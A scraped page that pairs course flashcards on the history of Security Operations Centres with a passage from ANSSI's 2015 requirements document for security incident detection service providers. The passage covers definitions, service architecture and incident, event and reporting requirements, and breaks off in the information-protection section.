content. Errors or omissions may be present. Use human level critical thinking. * Q: What defines a '1st Generation SOC' (1975-1995)? A: Focus on physical security and mainframe access control; minimal network monitoring. * Q: What characterized the '2nd Generation SOC' (1996-2001)? A: The era of the perimeter firewall and early Intrusion Detection Systems (IDS); focus on malware outbreaks. * Q: What major shift occurred in the '3rd Generation SOC' (2002-2006)? A: The rise of botnets and cybercrime led to the adoption of SIEM for log correlation and compliance reporting. * Q: What defines the '4th Generation SOC' (2007-2012)? A: Focus on APTs, data exfiltration, and the integration of diverse data sources beyond just security logs (e.g., NetFlow). * Q: What is the key differentiator of the '5th Generation SOC' (5G/SOC)? A: Intelligence-driven operations, big data analytics, and a focus on the human adversary rather than just malware. * Q: What technology enables the 5G/SOC? A: Big Data platforms (Hadoop), advanced analytics, and automated threat intelligence sharing. * Q: How does the 5G/SOC approach 'Context'? A: It enriches alerts with business context, user identity, and threat intelligence to prioritize response. * Q: What is the role of 'Machine Learning' in the 5G/SOC? A: To detect anomalies in user behavior and network traffic that do not match known signatures. * Q: What is the 'Proactive' shift in 5G/SOC? A: Moving from waiting for alerts to actively hunting for threats in the environment. * Q: What is the 'Information Sharing' component? A: Automated exchange of Indicators of Compromise (IOCs) with industry peers and government agencies. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgUjVWMUZLM2Y0UTQ/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgUjVWMUZLM2Y0UTQ/view?usp=sharing]** Prime Minister The French Networks and Information Security Agency Agence nationale de la sécurité des systèmes d’information Security incident detection service providers Prestataires de détection des incidents de sécurité Requirements reference document Référentiel d’exigences Version 1.0 dated 6 october 2015 Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 17/09/2015 PUBLIC 2/42 VERSION HISTORY DATE VERSION DOCUMENT HISTORY AUTHOR 20/03/2014 0.1 Draft version presented in Working Group Meeting 1 ANSSI 16/04/2014 0.2 Draft version presented in Working Group Meeting 2 ANSSI 03/06/2014 0.3 Working version prepared for Working Group Meeting 3 ANSSI 25/06/2014 0.4 Working version prepared for Working Group Meeting 4 ANSSI 22/07/2014 0.5 Working version prepared for Working Group Meeting 5 ANSSI 05/09/2014 0.6 Working version prepared for Working Group Meeting 6 ANSSI 10/10/2014 0.7.4 Working version prepared for internal revisions by ANSSI ANSSI 25/11/2014 0.8 Working version prepared for internal revisions by ANSSI ANSSI 17/12/2014 0.9.1 Version published for public call for comments ANSSI 06/10/2015 1.0 Revised version following the call for comments ANSSI Comments on this document should be sent to: The French Networks and Information Security Agency SGDSN/ANSSI 51 boulevard de La Tour -Maubourg 75700 Paris 07 SP qualification@ssi.gouv.fr Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 3/42 CONTENTS I. INTRODUCTION ................................ ................................ ................................ ............................ 5 I.1. General overview ................................ ................................ ................................ ...................... 5 I.1.1. Context ................................ ................................ ................................ ................................ ............................... 5 I.1.2. Purpose of the document ................................ ................................ ................................ ................................ .... 5 I.1.3. Document structure ................................ ................................ ................................ ................................ ............. 6 I.2. Document identification ................................ ................................ ................................ ............. 6 I.3. Definitions and acro nyms ................................ ................................ ................................ .......... 6 I.3.1. Acronyms ................................ ................................ ................................ ................................ ............................ 6 I.3.2. Definitions ................................ ................................ ................................ ................................ ........................... 6 II. GENERAL DESCRIPTION OF THE DETECTION SER VICE ................................ ....................... 9 II.1. Activities of the security incident detection service ................................ ................................ ... 9 II.2. Architecture of the security incident detection service ................................ .............................. 9 II.3. Scope of application of the requirements of the reference document ................................ ....10 III. APPROVAL OF SECURITY INCIDENT DETECTION S ERVICE PROVIDERS ........................ 11 III.1. Approval methods ................................ ................................ ................................ ................... 11 III.2. Scope of the approval ................................ ................................ ................................ ............. 11 III.3. Warning ................................ ................................ ................................ ................................ ...11 IV. REQUIREMENTS TO BE M ET BY THE SERVI CE PROVIDER ................................ ................ 12 IV.1. General requirements ................................ ................................ ................................ ............. 12 IV.2. Activities of the security incident detection service ................................ ................................ .13 IV.2.1. Incident management ................................ ................................ ................................ ................................ ........ 13 IV.2.2. Event management ................................ ................................ ................................ ................................ ........... 16 IV.2.3. Reporting management ................................ ................................ ................................ ................................ ..... 17 IV.3. Information protection ................................ ................................ ................................ ............. 18 IV.3.1. Information systems security policy ................................ ................................ ................................ ................... 18 IV.3.2. Levels of sensitivity or classification ................................ ................................ ................................ .................. 19 IV.3.3. Territoriality of the service ................................ ................................ ................................ ................................ . 19 IV.3.4. Audit ................................ ................................ ................................ ................................ ................................ .. 19 IV.3.5. Physical security ................................ ................................ ................................ ................................ ............... 20 IV.3.6. Internal security i ncident detection service ................................ ................................ ................................ ........ 20 IV.3.7. Partitioning of the service’s information system ................................ ................................ ................................ . 21 IV.3.8. Administration and operation of the service ................................ ................................ ................................ ....... 22 IV.3.9. Interconnections with the service’s information system ................................ ................................ ...................... 23 IV.3.10. Remote access ................................ ................................ ................................ ................................ ................. 23 IV.3.11. Relay station for upda ting the service’s devices ................................ ................................ ................................ 24 IV.3.12. Web portal and reporting tools ................................ ................................ ................................ ........................... 24 IV.3.13. Backups ................................ ................................ ................................ ................................ ............................ 25 IV.3.14. Security of the enclave within the commissioning entity’s information system ................................ .................... 25 IV.4. Organisation of the service provider and governance ................................ ............................ 26 IV.4.1. Code of ethics and recruitm ent ................................ ................................ ................................ .......................... 26 IV.4.2. Organisation and management of competencies ................................ ................................ ............................... 27 IV.4.3. Operational and strategic committees ................................ ................................ ................................ ............... 28 IV.5. Quality and level of service ................................ ................................ ................................ .....29 IV.5.1. Quality of service ................................ ................................ ................................ ................................ ............... 29 IV.5.2. Reversibility ................................ ................................ ................................ ................................ ....................... 31 IV.5.3. Service agreement ................................ ................................ ................................ ................................ ............ 32 ANNEX 1 DOCUMENTARY REFEREN CES ................................ ................................ ................... 36 I. Codes, laws and regulations ................................ ................................ ................................ ...36 II. Standards and technical documents ................................ ................................ ....................... 36 III. Other documentary references ................................ ................................ ............................... 37 ANNEX 2 TASKS AND S KILLS OF THE SERVICE PROVIDER’S EMPLOYEES ........................ 38 I. Operation ................................ ................................ ................................ ................................ 38 I.1. Tasks ................................ ................................ ................................ ................................ ................................ 38 I.2. Skills ................................ ................................ ................................ ................................ ................................ . 38 Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 4/42 II. Administration ................................ ................................ ................................ ......................... 38 II.1. Tasks ................................ ................................ ................................ ................................ ................................ 38 II.2. Skills ................................ ................................ ................................ ................................ ................................ . 38 III. Detection ................................ ................................ ................................ ................................ .38 III.1. Tasks ................................ ................................ ................................ ................................ ................................ 38 III.2. Skills ................................ ................................ ................................ ................................ ................................ . 38 IV. Collection and log analysis ................................ ................................ ................................ .....39 IV.1. Tasks ................................ ................................ ................................ ................................ ................................ 39 IV.2. Skills ................................ ................................ ................................ ................................ ................................ . 39 V. Detection rule management ................................ ................................ ................................ ....39 V.1. Tasks ................................ ................................ ................................ ................................ ................................ 39 V.2. Skills ................................ ................................ ................................ ................................ ................................ . 39 ANNEX 3 RECOMMENDATIONS FOR COMMISSIONING ENTITI ES ................................ .......... 40 I. Approval ................................ ................................ ................................ ................................ ..40 II. Before the start of the service ................................ ................................ ................................ .41 III. During the provision of the service ................................ ................................ .......................... 42 Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 5/42 I. Intro duction I.1. General overview I.1.1. Context The growing interconnection of networks and the requirements of dematerialisation leave information systems vulnerable to cyber -attacks . The points of interconnection with external network s and, in particular, with the Inte rnet, are all access points an attacker can attempt to exploit to enter and remain inside an information system in order to steal, alter or destroy its information assets. The use of security incident detection systems contribute s to the protection of information systems from the threats of cyber attacks. Human, technical and organisational resources can be concentrated within a cyber -security operations centre1 dedicated to the detection of security incidents. Depending on the challenges, needs and resourc es of the commissioning entity, this centre can be internal, outsourced, dedicated or even shared. In this latter case, the pooling of resources can have positive effec ts, such as the sharing of information on threats and detection rules. When the provisio n of this service is compliant with the “state of the art”, and is precisely adapted to the needs of the commissioning entity, it helps to prevent severe security incidents or, when such incidents occur, to limit their consequences by making it possible to take rapid remediation actions that can be carried out by a qualified security incident response service provider ( Prestataire de Réponse aux Incidents de Sécurité - PRIS). However, the concentration and pooling of detection capabilities make the cyber -security operations centre a prime target for attackers. Therefore, s pecial attention should be paid to protecting its infrastructure. ANSSI is currently conducting an experimental procedure with selected service providers to test in real conditions the appl icability of this document. At the end of this procedure, it may be modified which will lead in the publication of a new version. I.1.2. Purpose of the document This document is the requirements reference document applicable to a security incident detection servi ce provider ( Prestataire de Détection des Incidents de Sécurité - PDIS), hereinafter referred to as “the service provider”. Its purpose is to enable the approval of this category of service providers in accordance with the terms set out in section III. It covers the different types of cyber -security operations centres1 dedicated to the detection of security incidents: internal, outsourced, dedicated or shared. It gives to the commis sioning entity assurance regarding the competencies of the service provider and its staff, the quality of its services, and the confidence that the commissioning entity can place in the service provider, in particular with regard to confidentiality. It can also be used, in the interest of adopting best practices, independently of any regulatory framework. It does not exclude either the application of national laws and regulations, or the application of general rules imposed on service providers as professio nals and in particular to their duty to advise their commissioning entities. 1Hereinafter referred to as the “security incident de tection service”. Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 6/42 I.1.3. Document structure Section I is the introduction to this reference document. Section II describes the activities to wh ich this reference document relates. Section III presents the approval methods , which attest to the compliance of the security incident detection service providers against applicable requirements. Section IV presents the requirements applicable to service providers . Annex 1 presents references in terms of laws, regulations, standards and other documents cited in this reference document. Annex 2 presents the tasks and skills expected from the service provider’s employees. Annex 3 presents the recommendations for the commissioning entities when contracting with security incident detection service providers. I.2. Document identification This reference document is nam ed “Security incident detection service providers – requirements reference document” (Prestataires de détection des incidents de sécurité – référentiel d’exigences) . It can be identified by its name, version nu mber and date of update. I.3. Definitions and acronyms I.3.1. Acronyms The acronyms used in this reference document are: ANSSI The French Networks and Information Security Agency (Agence nationale de la sécurité des systèmes d’information) CERT -FR The French national Computer Emergency Response Team (Centre gouvernemental de veille, d’alerte et de réponse aux attaques informatiques )2 PASSI Audit service provider for information system security (Prestataire d’audit de la sécurité des systèmes d’information) PDIS Securi ty incident detection service provider (Prestataire de détection des incidents de sécurité) PRIS Security incident response service provider (Prestataire de Réponse aux Incidents de Sécurité) PSCE Electronic certificate service provider (Prestataire de ser vice de certification électronique) I.3.2. Definitions The definitions below are primarily taken from the following standards: [ISO27000] and especially [ISO27035] on the management of security incidents as well as the French national digital security strategy [STRAT_ NUM ]. Administrator – a member of the detection team in charge of the technical administration of the detection service devices (for example, the management of infrastructures, systems, d atabases, the installation of new applications, etc.). 2 http://www.cert.ssi.gouv.fr Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 7/42 Collection source – equipment within the information system that generates events related to the security of the information. Collector – a device enabling the centralisation of security events origina ting from various sources. In the context of this service, local collectors are the collectors installed i n the commissioning entity’s information system, and central collectors are the collectors used for centralising events and located i n the service pro vider’s information system. Commissioning entity – an entity that uses a security incident detection service. Detection rule – a list of technical elements which allow s the identif ication of an incident based on one or more events. A detection rule may be formed by one or more markers, one or more signatures or a behavioural rule based on abnormal behaviour. A detection rule may originate either from the vendor of the technical analysis tools used for the detection service, or the service provider itself (monitoring of new incidents, a rule used for another commissioning entity, etc.), or it may have been created specifically for the commissioning entity. Effectiveness – the level of achievement of planned activities and the expected results. Event related to information security – an identified occurrence of a system, service or network state indicating a possible breach of information security, policy or a failure of controls , or a previously unknown situation that may be security relevant . Information sys tem – an organised set of resources (hardware, software, personnel, data and procedures) for processing and communicating information. Investigation – a process designed to collect and analyse all of the technical, functional or organisational elements of the information system in order to understand the operating process and the scope of a security incident in an information system. Operator – a member of the detection team in charge of operating the detection service (managing the detection rules, the sup port service, etc.). In this capacity, operators are responsible for identifying, analysing and qualifying security incidents. Probe – a technical device designed to generate network events and/or to identify a bnormal, suspicious or malicious activity on t he analysed target (e.g. network traffic). A probe is considered to be a collection source within the security incident detection service. Qualifying a security incident – determining the nature and severity of a security incident. Reporting – the act of i nforming the commissioning entity of the occurrence of a security incident jeopardising its information system. Security incident – a single or a series of unwanted or unexpected information security events that have a significant probability of compromis ing business operations and threatening information security. Security of an information system – all of the technical and non -technical controls that make it possible for an information system to manage events that could compromise the availability, integ rity or confidentiality of the data that is handled or transmitted and the related services that these systems provide or make available . Service agreement – a written agreement between a commissioning entity and a service provider for the delivery of the security incident detection service . When the service provider is a private entity, the service agreement includes the contract form . Service provider – an entity that provides a security incident detection service in compliance with this reference documen t. Severity of a security incident – the level of impact of the security incident affecting the commissioning entity’s information system. State of the art – the set of publicly accessible best practices, technologies and reference documents (and the infor mation that is clearly derived from them) relating to information systems security . These Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 8/42 documents may be made available on the Internet by the information systems security community, distributed by reference or regulatory entities. Subcontracting – an op eration through which the service provider entrusts to another entity all or part of the execution of a contract concluded with the commissioning entity. Third party – a person or organisation that is recognised as independent from the service provider and the commissioning entity. Vulnerability – weakness of an asset or control that can be exploited by one or more threats . Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 9/42 II. General description of the detection service II.1. Activities of the security incident detection service The security incident detection s ervice is composed of three distinct activities: - incident management, meaning all of the technical and organisational means for identifying and qualifying a security incident on the basis of collected events. The stor age of security incidents , and capital ising on them in order to improve the service is also part of this activity; - event management, meaning all of the technical and organisational means for ensuring the collection and storage of security events; - reporting management, meaning all of the techni cal and organisational means that make it possible to inform the commissioning entity about detected security incidents and to store these reports. Reaction and remediation activities are beyond the scope of this service. Those are handled by the security incident response service providers (PRIS). II.2. Architecture of the security incident detection service This document does not impose any specific architecture for the detection service. The service can be implemented in a number of different ways. In particu lar, the commissioning entity’s information system can host a significant part of the information system of the security incident detection service, provided that the requirements of the reference document are met. The diagram below is a simplified repres entation of a typical architecture for a security incident detection service. This diagram is provided for illustrative purpose s only and does not preclude the implementation of other service architectures. Figure 1: Illustrative diagram of the architecture of a security incident detection service Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 10/42 The information system of a security incident detection service is organised into trust zones, partitioned using filtering, authentication and access control mechanisms . The trust zones are the following: - a collection zone, comprising all the devices involved in the collection process, including the collectors and the systems for storing events; - an analysis zone, comprising all of the devices involved in the analysis process, including t he technical tools for analysing and managing the service provider’s internal security incident tickets; - a reporting zone, comprising all of the devices involved in the collection process, including the Web portal and the reporting system; - one or more admi nistration zones, comprising all of the administration tools and administration workstations; - an operations zone , comprising the operators’ workstations; - an Internet zone, comprising the workstations that are authorised to access the Internet; - one or more specific trust zones in the commissioning entity’s internal information system, hereinafter referred to as enclaves. At the very least , an enclave must be established for hosting the collection devices for the detection service deployed by the commissionin g entity . In particular, the enclave will contain one or more collectors, the role of which is to centralise the security events from the collection sources that are deployed on the commissioning entity’s information system. II.3. Scope of application of the re quirements of the reference document Section IV.1 lists the general requirements relating to the service provider’s legal obligations, including its duties vis -à-vis the commissioning entity, its guarantees, etc. Section IV.2 lists the requirements relating to the content of the activities of the security incident detection service: - the requirements relating to the incident management activity, including the skills of the operators, the features of the tools used, the implementation of the detection rules, etc. - the requirements relating to the event management activity, including the sources of collection, the centralisation of events on a collector, etc. - the requirements relating to the reporting management activity, including the means of reporting, the consultation of incident tickets, etc. Section IV.3 lists the requirements relating to the protection of information, including the filtering between the trust zones, t he separation of roles between administrators and operators, etc. Section IV.4 lists the requirements relating to the organisation of the service provider and the governance of the service, including the establishment of a code of ethics and recruitment, the content of the operational and strategic committee meetings, etc. Section IV.5 lists the requirements relating to the quality and level of service, including the nature of the indicators to be m onitored, the content of the service agreement established between the service provider and the commissioning entity, etc. Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 11/42 III. Approval of security incident detection service providers III.1. Approval methods The reference document contains the requirements and recom mendations for security incident detection service providers. The approval of a service provider is performed in accordance with the approval process for a trust service provider [PROCESS_QUALIF] and makes it possible to demonst rate that the service provider is compliant with the requirements of the reference document. An organization can ask for the approval of its internal security incident detection service, that is to say a service used to fulfil , either fully or partially, its own security incident detection needs . In such a case, the approval process and the applicable requirements to obtain the approval are strictly identical to the ones defined in this reference document. The expression “service provider” can therefore refer to either an organization offering a security incident detection service internally or to other organizations. Service providers must comply with the requirements in order to obtain the approval . The recommendations to obtain the approval are provided as a matter of best practice and are not subject to verification . The reference document also provides recommendations for commissioning entities in Annex 3 . These recommendations are not subject to verification in the approval process . III.2. Scope of the approval In order to be qualified, service providers must meet all the requirements of this reference document. In order to be qualified under the military programming law (Loi de programmation militaire) , service providers must com ply with the requirements set out in [PDIS_LPM] , in addition to the requirements defined in this reference document. Services that meet all the requirements of this reference document are considered to be qualified services according t o the meaning of the reference document. Services that meet all the requirements of this reference document and the additional requirements of the military programming law as defined in [PDIS_LPM] are considered to be qualified service s according to the meaning of the military programming law. Qualified service providers retain the ability to provide services outside the scope for which they are qualified, but cannot, in this case, use this approval status for the purpose of providing t hese services. A qualified security incident detection service can be combined with other complementary services (development, integration of security products, etc.) without losing the benefit of the approval . A qualified security incident detection servi ce provider can, for example, be qualified for other trust service provider categories (PASSI, PRIS). III.3. Warning The use of non -qualified incident detection services may potentially leave the commissioning entity vulnerable to certain risks, such as the leaka ge of confidential information, being compromised by another of the service provider’s commissioning entities, and loss or unavailability of service. Accordingly, in the case of a non -qualified service, it is recommended that the commissioning entity reque st from its service provider a document listing all the requirements of this reference document that are not covered as part of its service, in order for the commissioning entity to understand the risks to which it is exposed. Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 12/42 IV. Requirements to be met by the service provider IV.1. General requirements a) The service provider must be an entity or part of an entity that has a legal personality so that it can be held legally responsible for the services that it provides. b) The service provider must comply with the laws and regulations in force within the national territory of France. c) The service provider must describe the organisation of the security incident detection activity that it provides to the commissioning entity. d) The service provider has, in its professional capac ity, a duty to advise vis -à-vis the commissioning entity. e) The service provider must take responsibility for the activities it performs on behalf of the commissioning entity in connection with the service that it provides, and in particular for any damages caused to the commissioning entity. In this respect, the service provider must specify the types of damages involved and the terms under which the responsibilities are shared in the service agreement, taking into account any and all outsourced activities. f) It is recommended that the service provider retain responsibility for the actions that it performs itself in providing the service. g) The service provider must obtain professional liability insurance covering any damages caused to the commissioning entity a nd especially to its information system during the provision of the service. h) The service provider must ensure that the consent of the commissioning entity has been obtained prior to any disclosure of information obtained or produced during the provision of the service. i) The service provider must ensure that the information it provides, including advertising, is neither false nor misleading. j) The service provider must provide sufficient evidence that the way in which it operates, especially in terms of its fin ancial operations, is not liable to compromise its impartiality or the quality of its performance with respect to the commissioning entity or to cause conflicts of interest. k) The service provider must provide the service impartially, in good faith and with respect of the commissioning entity, its employees and its infrastructure. l) The service provider must possess valid licences for the tools (software and hardware) used to provide the service. m) The service provider must ask the commissioning entity to notify it of any specific legal or regulatory requirements to which it is subject, especially those related to its sector of activity. n) The service provider must inform the commissioning entity when the commissioning entity is required to report a security inciden t to a government authority and must assist it in this process if the commissioning entity asks it to do so. o) The service provider must establish a service agreement with the commissioning entity. The service agreement must comply with the requirements of s ection IV.5.3 and must be formally approved in writing by the commissioning entity before the service is performed. Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 13/42 IV.2. Activities of the security incident detection service IV.2.1. Incident management a) The service provider must establish with the commissioning entity a list of feared incidents and the impacts and consequences associated with them based on the results of a risk assessment prepared by the commissioning entity. The service provider must recommend to the commissioning entity that it update s its risk assessment in the event of a change in its infrastructure. b) The service provider must be able to take into account at a minimum the following categories of feared security incidents: - exploitation of a vulnerability; - elevation of p rivileges; - data exfiltration; - viral propagation; - use of a persistence mechanism; - denial of service; - unauthorised access to a resource; - identity theft; - actions that do not comply with the commissioning entity’s security policy. c) It is recommended that the service provider take into account the list of security incidents and their origins in Annex B of [ISO27035] and [ETSI_ISG_ISI] . d) The service provider must develop and implement with the commissioning entity an analysis strategy that makes it possible to detect all the incidents on the feared incident list (see requirement IV.2.1 .a). The analysis stra tegy must be reviewed with the commissioning entity during the operational committee meetings defined in section IV.4.3 . e) The analysis strategy must include a precise description of the implementation of the detection rules for detecting security incidents based on the collected events. f) The service provider must create detection rules based on: - the list of security incidents that are feared by the commissioning entity; - the knowledge bases acquired from vendors and specialist inf ormation systems security companies; - the internal knowledge bases derived from the expertise of the service provider:  the monitoring and qualifying of vulnerabilities, with priority given to those relating to the execution of arbitrary code, locally or rem otely;  the monitoring and qualification of command control protocols;  the monitoring of the modes of operation for attacks and malicious code. - the contextual elements specific to the commissioning entity; - the rules provided directly by the commissioning en tity, previously validated by the service provider; - the security incidents detected with any other commissioning entities. g) The service provider must develop and implement a marking policy for detection rules. This policy must define, for each detection rul e: Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 14/42 - a unique identifier for the detection rule; - the owner of the detection rule, meaning the entity that owns the rights on the detection rule; - the author of the detection rule, meaning the entity that created the detection rule; - the source of the detection rule, meaning the entity that is the source of the information enabling the creation of the detection rule and which is not necessarily the owner or author of the detection rule; - the creation date of the detection rule; - the description of the detection ru le; - the phases of attack detected by the rule, such as: reconnaissance, initial infiltration, interaction with command and control infrastructure , elevation of privileges, lateral movements, exfiltration, etc.; - the level of sensitivity or classification of the detection rule; - the terms for the distribution of the detection rule, such as “unrestricted distribution”, “may be distributed within a community but not publicly”, “may be distributed internally subject to need - to-know”, “may be distributed to named individuals and may not be redistributed” ; - the terms for managing the signature rule; - a description of the method of analysis for events; - whether or not it is possible to conduct open -source research; - the descriptions and/or identifiers (e.g. CVE) of vuln erabilities for which exploitations or exploitation attempts have been detected by the rule; - the instructions to be followed in the event that the detection rule is triggered. h) The service provider must establish and keep up to date, for each commissioning entity, a list of all detection rules that have been implemented or that are being implemented as part of the service. This list must identify, for each detection rule: - the date on which the detection rule was included in the technical analysis tools; - if the service provider has conducted an a posteriori analysis with this detection rule (see requirement IV.2.1 .y) and the date of this analysis, if applicable; - the date on which the de tection rule was withdrawn from the technical analysis tools in use. This list must make it possible to establish a historical record for the detection rules . A detection rule that has been withdrawn from the technical analysis tools in use must therefore be marked as withdrawn and must not be deleted from this list. i) The service provider must send to the commissioning entity, at a minimum once a month, a detection rule status report that presents: - the number of detection rules created, modified or withdrawn from the analysis tools in use; - the identifier and description of each rule that has been created, modified or withdrawn from the analysis tools in use; - the reason for the creation, modification or withdrawal of the security rule (e.g. creation, modificat ion or withdrawal at the request of the commissioning entity, etc.). It is recommended that the service provider send the detection rule status report to the commissioning entity once a week. j) The service provider must implement in the technical analysis to ols in use all of the detection rules identified in the list set out in requirement IV.2.1 .h) except for the rules marked as withdrawn. Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 15/42 k) The service provider must independently add the new detection rules to the technical analysis tools in use. Following an addition of this type, the service provider must update the documentary record and provide information about the details of the additions that have been made. l) The service provider must, in the eve nt that it is difficult or impossible to implement a detection rule, notify the commissioning entity as soon as possible and no later than fifteen days after the decision to implement the detection rule, and specify the reasons for the failure to implement the rule. m) The service provider must qualify the detected security incidents in order to assess their veracity (false positive or real incident) and severity (functional impact s, informational impact s, etc.). n) The service provider must establish with the co mmissioning entity a severity scale associated with the feared security incidents, taking into account the risk assessment and especially the threats, the assets, the potential impacts and their level of severity. o) It is recommended that the service provid er use the severity scale for information security incidents in Annex C of [ISO27035] . p) The service provider must be able to integrate the results of the tests for vulnerabilities and intrusions carried out by the commissioning entity on its information system. q) The service provider must create a ticket for each security incident detected and make it available to the commissioning entity. At a minimum , the security incident ticket must contain the following eleme nts: - the date and time when the security incident was detected; - the description of the security incident; - the severity of the security incident; - the impact of the security incident for the commissioning entity; - the identifiers of the detection rules that were triggered; - the equipment that collected the events of the incidents; - the identifiers of events that made it possible to detect the incident; - the risk resulting from the incident. r) The service provider must define the format o f the security incident t ickets together with the commissioning entity. s) It is recommended that the service provider use the security incident ticket format set out in [ETSI_ISG_ISI] . t) The service provider must have a tool for m anaging the security incident tickets within the analysis zone. u) The service provider must store all of the security incidents that are confirmed or that are in the process of being qualified in one central location. v) The service provider must be able to retrieve the events at the origin of a detected security incident throughout the retention period of the collected events. w) The service provider must implement and keep up to date a centralised, chronological record for each commissioning entity identi fying all detected security incidents. x) The service provider must implement a process for managing the storage capacity for the security incidents that enables the service provider to monitor its evolution and to modify it in accordance with the needs of th e commissioning entity. Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 16/42 y) The analysis strategy must ensure that for each detection rule that is created or modified, the service provider conducts an a posteriori analysis, meaning an analysis of all of the events that have been stored for a period of time determined together with the commissioning entity in the analysis strategy. This requirement does not apply to detection rules requiring types of events that are not yet present in the event storage systems. z) The service provider must be able, upon request of the commissioning entity, to conduct an analysis on the set of events that have been stored for the previous six months. IV.2.2. Event management a) The service provider must develop, together with the commissioning entity, and implement a collection strategy ba sed on the list of feared security incidents (see requirement IV.2.1 .a). The collection strategy must be reviewed with the commissioning entity at the operational committee meetings defined in secti on IV.4.3 . b) The collection strategy must identify the list of collection sources, collectors, events to be collected, describe the collection methods, and identify the frequency of collection. c) The service provider must be, at a minimum , capable of collecting events from the following collection sources: - security equipment: network firewalls, application firewalls, encrypters , probes a pprov ed by ANSSI at the appropriate level, antivirus software , authentication servers, VPN concen trators, SSL gateways, proxies, reverse proxies; - network equipment: routers, switches, netflow, DNS servers, load balancers, time servers; - infrastructure servers: authentication, directories, software distribution , remote management, supervision, virtualis ation, file servers, backups, mail, print; - business servers: web servers, databases, file servers, collectors; - workstations: main operating systems; - mobile devices . d) The service provider must be able, at a minimum , to create a log for each collection source identified in requirement IV.2.2 .c) of the events identified in Annex A of the ANSSI technical note on the implementation of a logging system [NT_JOURNAL] . e) The service provider must exercise its duty to advise the commissioning entity in respect of the development, implementation and review of the collection strategy. In this capacity, it must advise the commissioning entity on the development and r eview of the logging policy (types of events to be logged, retention periods, standardisation of information, synchronisation of time sources, etc.) and on the deployment of logging devices on the commissioning entity’s information system. f) The service pro vider must recommend to the commissioning entity that it integrate s the deployment of probes at each of the interconnections of the commissioning entity’s information system into the collection strategy, and in particular, the interconnections with: - the In ternet; - third -party information systems (partners, subcontractors, etc.); - the commissioning entity’s other information systems with a lower or more vulnerable security classification or sensitivity level. g) The service provider must recommend to the commissi oning entity that it implement probes approved by ANSSI at the appropriate level and used in accordance with their technical instructions for use. These probes must receive network traffic via TAP ( Test Access Port ) type equipment that is entirely passive and cannot be managed remotely. Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 17/42 h) The service provider must be able to operate probes receiving traffic via TAP ( Test Access Port ) type equipment that is entirely passive and cannot be managed remotely. i) The events from collection sources must be centralised on one or more collectors3 located in the enclave described in requirement IV.3.14 .a). j) The collector must make it possible to carry out an initial filtering of events in order to transmit to the analytical tools only those events that are relevant to the detection service and identified in the collection strategy. k) The collector must be able to detect saturation and loss of communication events that would prevent it from transmitting the security even ts to the detection service and to delay the transmission of the events to the analysis tools if necessary. The storage capacity of the collector must be known to the service provider and the commissioning entity. l) The service provider must have a centralis ed view of all the events collected, including the association of each event with the collector from which it came. m) The events must be time -stamped as soon as they are received by the collectors. The system clocks of the collectors must be synchronised wit h a single time source. n) The service provider must index all of the collected events and be able to perform searches among the collected events. o) The service provider must be able to locate and provide any collected event whatsoever upon request by the commi ssioning entity. p) The service provider must put in place a process for managing the event handling and storage capacity that enables the service provider to monitor its development and to be able to modify it as necessary. IV.2.3. Reporting management a) The service provider must have two information channels available for the commissioning entity: - a reporting channel (see requirement IV.2.3 .b); - a consultation channel (see requirement IV.2. 3.h); b) The service provider must have at a minimum the following reporting methods available: - email; - short text message (SMS); - telephone. c) The service provider must develop, together with the commissioning entity, and im plement, a security incident reporting strategy enabling it to notify the commissioning entity in the event that a security incident is detected. The reporting strategy must be reviewed with the commissioning entity at the operational committee meetings de fined in section IV.4.3 . d) The reporting strategy must identify, at a minimum , the list of security incidents to be reported, the format, the content, the time limit, and the level of sensitivity or classification of the reports, as well as the persons to be notified, particularly with respect to the security incident and its level of severity. e) The service provider must exercise its duty to advise the commissioning entity in the development, implementation and review of the report ing strategy. In this capacity, it must advise the commissioning entity on people to be alerted and the reporting methods. 3 For the sake of simplicity, for the remainder of this document, it is assumed that there is only one collector. Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 18/42 f) The service provider must recommend to the commissioning entity that it include specific reports in the reporting strategy in the occurrence that major security incidents within its information system are detected. g) The reports must contain only the following information: the identification number of the incident ticket and a general description of the security incident. When not transmi tted via a secure channel, the reports must not under any circumstances contain detailed information about the security incident, and especially about the collected events or the detection rules that detected the security incident, the part of the commissi oning entity’s information system that was affected by the security incident, or the impact of the security incident. h) The service provider must provide the commissioning entity with access to a Web portal that enables it to view open security incident tick ets, monitor their status, and view the associated ongoing actions. i) The service provider must centralise all the reports in a report storage system. j) The service provider must be able to provide the security incident and the events associated with the origin of a report. k) The service provider must put in place and keep up to date a centralised and chronological record by a commissioning entity referencing all of the reports carried out for the commissioning entity. l) The service provider must put in place a pr ocess for managing the storage capacity for the reports that enables the service provider to monitor its development and to be able to modify it in accordance with the needs of the commissioning entity. IV.3. Information protection IV.3.1. Information systems security p olicy a) The service provider must develop a risk analysis and the associated risk treatment plan covering the full scope of the security incident detection service. The analysis 